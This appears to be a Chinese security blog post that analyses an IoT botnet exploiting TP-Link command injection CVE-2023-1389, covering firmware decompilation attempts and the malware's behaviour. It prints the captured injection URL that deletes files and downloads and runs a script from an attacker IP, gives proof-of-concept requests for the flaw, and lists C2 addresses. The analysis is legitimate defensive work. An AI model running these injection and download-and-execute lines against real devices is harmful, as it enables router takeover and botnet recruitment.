前言：

        最近审计报警日志，发现了一个IOT病毒，利用的是CVE-2023-1389漏洞扫描tplink，进行攻击，有点意思，拿出来分析下。

发现：

查看流量日志，发现了一个有问题的访问：

 访问地址80.94.92.60，对应的内容url解码后如下：

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm -rf *; cd /tmp; wget http://94.156.79.129/tenda.sh; chmod 777 tenda.sh; ./tenda.sh)

可以看到其利用的是漏洞执行命令：

rm -rf *;cd /tmp;wget http://94.156.79.129/tenda.sh;chmod 777 tenda.sh;./tenda.sh

删除当前下载目录文件，进入tmp目录，下载http://94.156.79.129/tenda.sh文件，添加执行权限后执行内容，下面我们看下tenda.sh到底是什么，访问http://94.156.79.129/tenda.sh可以下载到tenda.sh文件，内容如下：

可以看到首先尝试进入目录后下载不同环境下可以运行的病毒文件，添加权限后并运行：

我们下载对应的病毒文件：

可以看到其利用tplink漏洞执行脚本，脚本负责下载病毒到设备执行，常见的木马都会统一连接*服务器，然后接受服务器发送的执行进行DDOS，挖矿等攻击行为，所以只要分析其中一个即可，这里我们分析任意一个即可，这里选择x86_64

分析：

分析除了分析病毒还要分析下tplink的漏洞，这里我们先了解下利用了tplink的什么漏洞：

CVE-2023-1389

根据/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=查找发现是利用了tplink的命令注入漏洞，根据官方的解释如下：

1.1.4 Build 20230219 之前的 TP-Link Archer AX21 (AX1800) 固件版本存在漏洞

其利用poc如下：

POST /cgi-bin/luci;stok=/locale HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

token=&addAction=1&country=us;reboot; 

或者使用GET也可以触发漏洞：

GET  /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(reboot;) HTTP/1.1
Host: <Router IP>
Content-Type: application/x-www-form-urlencoded
Content-Length: <Payload Length>

分析下到底为何产生了该漏洞，首先去tplink下载对应的固件分析：

https://www.tp-link.com/us/support/download/archer-ax21/v1.20/

下载完成后解压为bin文件，下面就要使用 binwalk对bin文件进行提取

这个时候可能会报错提示缺少ubireader_extract_files文件，这里我们需要执行如下命令安装对应的库文件，另外binwalk是基于python2，所以不要使用pip3，安装ubi_reader和jefferson

//安装依赖
$ sudo apt-get install liblzo2-dev
$ sudo pip install python-lzo
//安装ubi_reader
$ sudo pip install ubi_reader
//安装jefferson
$ sudo pip install jefferson

安装完成后先用binwalk查看下文件：

 可以看到包含JFFS2和UBI两个文件，递归解压：

通过/cgi-bin/luci/，查看对应的luci代码，分析代码发现其后端是通过lua对数据进行处理：

分析发现其luci-apps.list中记录了对应的处理方法的地址，这里猜测为/usr/lib/lua/luci/controller/locale.lua，对应的处理locale参数：

但是打开发现是编译的lua文件，且发现其为5.1版本编译的32位的程序

这里我使用luadec对文件进行反编译：

https://github.com/viruscamp/luadec
git clone https://github.com/viruscamp/luadec
cd luadec
git submodule update --init lua-5.1

由于是32位的程序，但是我的kali是64位，默认源码编译后是64位程序，所以需要更改makefile使之编译32位程序 ，添加-m32到CFLAGS和LDFLAGS到lua-5.x/src/Makefile和luadec/Makefile

首先是luadec/lua-5.1下的Makefile

然后是src目录下的 Makefile

最后是luadec下的Makefile

完成后执行如下代码：

cd lua-5.1
make linux
cd ../luadec
make LUAVER=5.1

 即可编译成功，如果报错需要添加依赖：

apt-get install gcc-multilib g++-multilib
apt-get install lib32readline-dev

但是执行发现报错：

 分析发现是由于架构原因，查看bin目录下其他可执行文件可以看到其格式如下：

这就很蛋疼了，我编译出来的如下：

 

全白忙了，由于是arm架构的，我们使用的并不支持针对arm的反编译，因为arm架构下的格式和386下的格式不一定完全相同，但是反编译工具是针对386架构进行的，这样就会报错，这就需要换个方法，

然后我又尝试了下github上的miwifi

https://github.com/NyaMisty/unluac_miwifi

下载下来以后新建build文件夹，并执行如下命令：

javac -d build -sourcepath src src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build .

即可在build文件夹中生成unluac.jar文件，但是很遗憾还是不行：

找了一圈还发现luadec-tplink

https://github.com/superkhung/luadec-tplink/tree/master

但是试了一下还是不行，用里面的ChunkSpy51.lua检测了下，果然结构有问题

但是程序并没有加密，string以下可以看到很多信息，那就是目前的反编译工具并不支持反编译这个Tplink平台编译的lua代码，至少是该版本的无法反编译，后面有时间再来研究下这个。

病毒分析：

下面对病毒进行分析首先进行下静态分析，这里我用的是ghidra，因为这个电脑没装IDA，不过也差不多，安装方法网上都有，这里就不重复了，分析后发现一个很蛋疼的事情，就是这里面没有分析出对应的符号表，这样我就没有办法知道哪些是系统函数，哪些不是系统函数，尝试导入了几个符号表，但是依然没分析出来，如果读者有什么好的符号表可以分享出来，

还算好没有加壳，这样省去了脱壳，查看字符串看到一些有意思的信息：

是不是有点眼熟，标准的DDOS，SSDP反射攻击，可以放大流量。

另外就是一些watchdog,tcpdump之类的，应该是反调试搜索有没有安全软件或者安全分析工具运行。

看了下反汇编的内容，有点头疼，没有符号表很杂乱，先看看病毒运行的行为把，这样分析起来就比较有方向了，使用strace对运行进行监控：

strace -t -ff -k -e trace=file,network -v -o strace.log ./test tplink
或去掉-e -e是有针对性的过滤
strace -t -ff -k -v -o strace.log ./test tplink

运行成功后可以获取其运行轨迹，一开始运行将当前进程替换为一个新的程序，修改环境变量并重启病毒文件：

15:02:25 execve("./test", ["./test", "tplink"], ["COLORFGBG=15;0", "COLORTERM=truecolor", "COMMAND_NOT_FOUND_INSTALL_PROMPT"..., "DBUS_SESSION_BUS_ADDRESS=unix:pa"..., "DESKTOP_SESSION=lightdm-xsession", "DISPLAY=:0.0", "DOTNET_CLI_TELEMETRY_OPTOUT=1", "GDMSESSION=lightdm-xsession", "GTK_MODULES=gail:atk-bridge", "HOME=/root", "LANG=zh_CN.UTF-8", "LANGUAGE=zh_CN:zh", "LOGNAME=root", "PANEL_GDK_CORE_DEVICE_EVENTS=0", "PATH=/usr/local/sbin:/usr/local/"..., "POWERSHELL_TELEMETRY_OPTOUT=1", "POWERSHELL_UPDATECHECK=Off", "PWD=/home/test", "QT_ACCESSIBILITY=1", "QT_AUTO_SCREEN_SCALE_FACTOR=0", "QT_QPA_PLATFORMTHEME=qt5ct", "SESSION_MANAGER=local/kali:@/tmp"..., "SHELL=/usr/bin/zsh", "SSH_AGENT_PID=1066", "SSH_AUTH_SOCK=/tmp/ssh-XXXXXXOA8"..., "TERM=xterm-256color", "USER=root", "WINDOWID=0", "XAUTHORITY=/root/.Xauthority", "XDG_CONFIG_DIRS=/etc/xdg", "XDG_CURRENT_DESKTOP=XFCE", "XDG_DATA_DIRS=/usr/share/xfce4:/"..., "XDG_GREETER_DATA_DIR=/var/lib/li"..., "XDG_MENU_PREFIX=xfce-", "XDG_RUNTIME_DIR=/run/user/0", "XDG_SEAT=seat0", "XDG_SEAT_PATH=/org/freedesktop/D"..., "XDG_SESSION_CLASS=user", "XDG_SESSION_DESKTOP=lightdm-xses"..., "XDG_SESSION_ID=2", "XDG_SESSION_PATH=/org/freedeskto"..., "XDG_SESSION_TYPE=x11", "XDG_VTNR=7", "_JAVA_OPTIONS=-Dawt.useSystemAAF"..., "SHLVL=1", "OLDPWD=/root", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "LESS_TERMCAP_mb=\33[1;31m", "LESS_TERMCAP_md=\33[1;36m", "LESS_TERMCAP_me=\33[0m", "LESS_TERMCAP_so=\33[01;33m", "LESS_TERMCAP_se=\33[0m", "LESS_TERMCAP_us=\33[1;32m", "LESS_TERMCAP_ue=\33[0m", "_=/usr/bin/strace"]) = 0

然后是尝试打开/dev/watchdog，可以理解为在判断是否有watchdog，然后进行端口监听

 这里看下对应的0x8d84加上基址400000为0x00408ba9，可以看到SYSCALL ，return 2是系统函数open，可以去网上搜对应的解析表，有兴趣的可以写个python脚本自动解析一下，我这懒得写了，感兴趣的可以写写，可以通过如下网址查询对应关系

https://hackeradam.com/x86-64-linux-syscalls/

这里我们和IDA一样可以将对应function重命名为open，方便分析：

对应的可以看到伪代码里对 watchdog的读取，失败会进入8ad0，也是个系统函数对应的syscall是0x10和0x3，对应的为ioctl和close函数，直接向内核发送0x80045704，这是为了向watchdog发送控制码0x80045704来禁用看门狗功能，至于为什么能禁止，感兴趣的可以研究下，

 然后正常的木马就要连接服务器了，这里也不例外，可以看到获取了tcpdown.su的ip地址

代码中可以看到其将tcpdown.su按照十六进制拆分后拼接获取，并且对应端口号为53B1(大小端存储)对应的十进制为21425另外还会连接7722端口，但是7722端口已经关闭，访问一直失败。

由于DNS解析不同，ip也会不同，这里多地ping看下地址有哪些：

 总结下来就是如下IP：

172.245.119.70
172.245.119.63
185.216.70.169
185.216.70.168
185.216.70.250
104.168.32.17
104.168.45.11
198.12.124.76

 往下看确实获取到了解析地址，这里是185.216.70.169

查看下流量：

另外复制自身并循环判断是否存在tcpdump，wireshark等可能涉及调试抓包的进程，如果发现就强行关闭：

对应的代码如下，循环遍历进行kill：

然后就是和服务器通信，根据行为和流量可以看到其心跳包数据为0000，刚开始会把被感染设备的名称发送到服务器端，然后等待：

扫描下服务器，发现21425尽然是telnet端口，有意思，后面爆破下看看。

爆破了一下发现全部卡死，没有返回数据，应该也没必要伪装成telnet端口，并没有什么意义，所以又尝试发送空数据会返回错误，其他数据均无返回结果，不清楚是否是基于telnet客户端修改的代码还是就是单纯的伪装为telnet服务。

本来向gdb动态调试下，但是进程不断在fork，附加进程调试有点麻烦，也懒得调试了，感兴趣的可以动态看下。

总结：

最后总结下病毒的运行，首先通过cve-2023-1389全网扫描存在漏洞的tplink设备，如果发现存在漏洞的设备，会下载全平台的病毒，总有一个能成功。

病毒成功运行后会不断复制自身创建进程，然后关闭watchdog和扫描进程关闭抓包工具运行，接着解析tcpdown.su，根据解析出来的ip，连接其21425和7722端口，如果连接成功则每隔30s发送一次心跳存活包，另外大概看了下可以通过SSDP发动反射攻击和执行命令，具体的接收指令是数字而非字符，感兴趣的可以研究。